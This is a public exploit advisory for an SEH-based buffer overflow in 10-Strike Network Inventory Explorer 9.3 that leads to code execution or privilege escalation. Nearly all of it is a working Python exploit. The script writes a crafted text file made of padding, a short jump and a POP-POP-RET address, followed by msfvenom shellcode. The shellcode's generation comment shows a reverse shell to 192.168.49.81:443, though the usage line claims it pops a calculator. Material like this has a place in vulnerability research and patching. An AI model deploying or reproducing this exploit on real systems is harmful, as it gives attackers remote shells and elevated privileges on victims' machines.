I. VULNERABILITY ------------------------- 10-Strike Network Inventory Explorer Version 9.3 - Privilege Escalation through SEH based Buffer Overflow II. VENDOR ------------------------- 10-Strike Network (https://www.10-strike.com/) III. DESCRIPTION ------------------------- 10-Strike Network Inventory Explorer until latest version (9.3) is vulnerable to a SEH based Buffer Overflow which leads to code execution or local privilege escalation. The vulnerable part of the program is the functionality to add computers from a text file. IV. EXPLOIT ------------------------- # Exploit Title: 10-Strike Network Inventory Explorer Version 9.3 - Privilege Escalation through SEH based Buffer Overflow # Date: 16/08/2022 # Exploit Author: Ricardo Ruiz (@ricardojoserf) # Vendor website: https://www.10-strike.com/ # Product website: https://www.10-strike.com/networkinventoryexplorer/ # Usage: Create a file with this script and upload it clicking "Computers" and "Add". It should pop a calculator from struct import pack # Bad chars are: \x09\x0a\x0d\x3a\x5c badchars = ( b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3b\x3c\x3d\x3e\x3f\x40" b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5d\x5e\x5f\x60" b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" #b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" #b"\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0e\x0f\x10" ) # msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192.168.49.81 -b "\x00\x09\x0a\x0d\x3a\x5c\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0e\x0f\x10" -v payload --smallest -f py payload = b"" payload += b"\x89\xe3\xdb\xd0\xd9\x73\xf4\x5b\x53\x59\x49\x49" payload += b"\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43" payload += b"\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30" payload += b"\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" payload += b"\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" payload += b"\x69\x6c\x79\x78\x4c\x42\x43\x30\x53\x30\x33\x30" payload += b"\x51\x70\x6e\x69\x6b\x55\x30\x31\x69\x50\x61\x74" payload += b"\x6c\x4b\x36\x30\x56\x50\x4c\x4b\x50\x52\x76\x6c" payload += b"\x6e\x6b\x63\x62\x57\x64\x4c\x4b\x32\x52\x45\x78" payload += b"\x34\x4f\x58\x37\x32\x6a\x54\x66\x56\x51\x49\x6f" payload += b"\x6e\x4c\x45\x6c\x43\x51\x43\x4c\x74\x42\x34\x6c" payload += b"\x51\x30\x69\x51\x5a\x6f\x76\x6d\x35\x51\x68\x47" payload += b"\x4d\x32\x4c\x32\x32\x72\x33\x67\x4e\x6b\x62\x72" payload += b"\x64\x50\x6e\x6b\x71\x5a\x65\x6c\x6e\x6b\x70\x4c" payload += b"\x54\x51\x43\x48\x78\x63\x53\x78\x36\x61\x4a\x71" payload += b"\x46\x31\x4e\x6b\x30\x59\x35\x70\x65\x51\x49\x43" payload += b"\x4c\x4b\x50\x49\x34\x58\x59\x73\x47\x4a\x32\x69" payload += b"\x6c\x4b\x66\x54\x6c\x4b\x76\x61\x69\x46\x75\x61" payload += b"\x69\x6f\x6c\x6c\x69\x51\x5a\x6f\x64\x4d\x66\x61" payload += b"\x6f\x37\x66\x58\x39\x70\x63\x45\x49\x66\x64\x43" payload += b"\x73\x4d\x49\x68\x77\x4b\x51\x6d\x66\x44\x43\x45" payload += b"\x5a\x44\x51\x48\x6c\x4b\x56\x38\x37\x54\x76\x61" payload += b"\x7a\x73\x35\x36\x4e\x6b\x76\x6c\x30\x4b\x6c\x4b" payload += b"\x46\x38\x47\x6c\x56\x61\x58\x53\x6e\x6b\x74\x44" payload += b"\x6e\x6b\x45\x51\x38\x50\x6e\x69\x52\x64\x51\x34" payload += b"\x37\x54\x33\x6b\x31\x4b\x61\x71\x33\x69\x51\x4a" payload += b"\x62\x71\x49\x6f\x6b\x50\x31\x4f\x73\x6f\x33\x6a" payload += b"\x4c\x4b\x62\x32\x5a\x4b\x4e\x6d\x31\x4d\x63\x58" payload += b"\x55\x63\x55\x62\x43\x30\x73\x30\x73\x58\x33\x47" payload += b"\x44\x33\x76\x52\x61\x4f\x46\x34\x51\x78\x42\x6c" payload += b"\x34\x37\x54\x66\x57\x77\x79\x6f\x79\x45\x6e\x58" payload += b"\x6c\x50\x47\x71\x75\x50\x43\x30\x77\x59\x38\x44" payload += b"\x30\x54\x36\x30\x45\x38\x67\x59\x6b\x30\x70\x6b" payload += b"\x43\x30\x79\x6f\x59\x45\x52\x70\x50\x50\x30\x50" payload += b"\x42\x70\x33\x70\x56\x30\x61\x50\x72\x70\x53\x58" payload += b"\x4a\x4a\x76\x6f\x79\x4f\x79\x70\x59\x6f\x79\x45" payload += b"\x6d\x47\x32\x4a\x47\x75\x63\x58\x69\x50\x69\x38" payload += b"\x34\x71\x33\x61\x65\x38\x74\x42\x45\x50\x75\x51" payload += b"\x6f\x4b\x4e\x69\x38\x66\x31\x7a\x34\x50\x46\x36" payload += b"\x31\x47\x32\x48\x6d\x49\x49\x35\x51\x64\x45\x31" payload += b"\x79\x6f\x69\x45\x4d\x55\x4b\x70\x53\x44\x56\x6c" payload += b"\x49\x6f\x72\x6e\x46\x68\x64\x35\x78\x6c\x71\x78" payload += b"\x38\x70\x6d\x65\x79\x32\x42\x76\x49\x6f\x68\x55" payload += b"\x63\x58\x52\x43\x30\x6d\x75\x34\x33\x30\x6c\x49" payload += b"\x6a\x43\x63\x67\x52\x77\x33\x67\x50\x31\x79\x66" payload += b"\x30\x6a\x62\x32\x53\x69\x76\x36\x59\x72\x4b\x4d" payload += b"\x65\x36\x6b\x77\x43\x74\x46\x44\x37\x4c\x47\x71" payload += b"\x56\x61\x4e\x6d\x73\x74\x77\x54\x66\x70\x4a\x66" payload += b"\x33\x30\x43\x74\x30\x54\x70\x50\x51\x46\x76\x36" payload += b"\x36\x36\x51\x56\x30\x56\x30\x4e\x72\x76\x62\x76" payload += b"\x56\x33\x56\x36\x62\x48\x63\x49\x6a\x6c\x75\x6f" payload += b"\x4f\x76\x59\x6f\x49\x45\x4d\x59\x6d\x30\x52\x6e" payload += b"\x70\x56\x61\x56\x59\x6f\x44\x70\x35\x38\x53\x38" payload += b"\x6c\x47\x55\x4d\x61\x70\x6b\x4f\x79\x45\x4d\x6b" payload += b"\x7a\x50\x48\x35\x4d\x72\x43\x66\x50\x68\x6c\x66" payload += b"\x7a\x35\x4d\x6d\x6f\x6d\x59\x6f\x4b\x65\x65\x6c" payload += b"\x46\x66\x63\x4c\x55\x5a\x6b\x30\x6b\x4b\x6d\x30" payload += b"\x51\x65\x75\x55\x4f\x4b\x72\x67\x72\x33\x52\x52" payload += b"\x72\x4f\x63\x5a\x35\x50\x61\x43\x79\x6f\x39\x45" payload += b"\x41\x41" #buffer = "A"*100000 buffer = b"A"*207 buffer += b"\x90\x90\xeb\x04" # bp 0x61e4dab1; g buffer += b"\xb1\xda\xe4\x61" buffer += b"\x90"*2 buffer += payload with open("test.txt", 'wb') as out: out.write(buffer)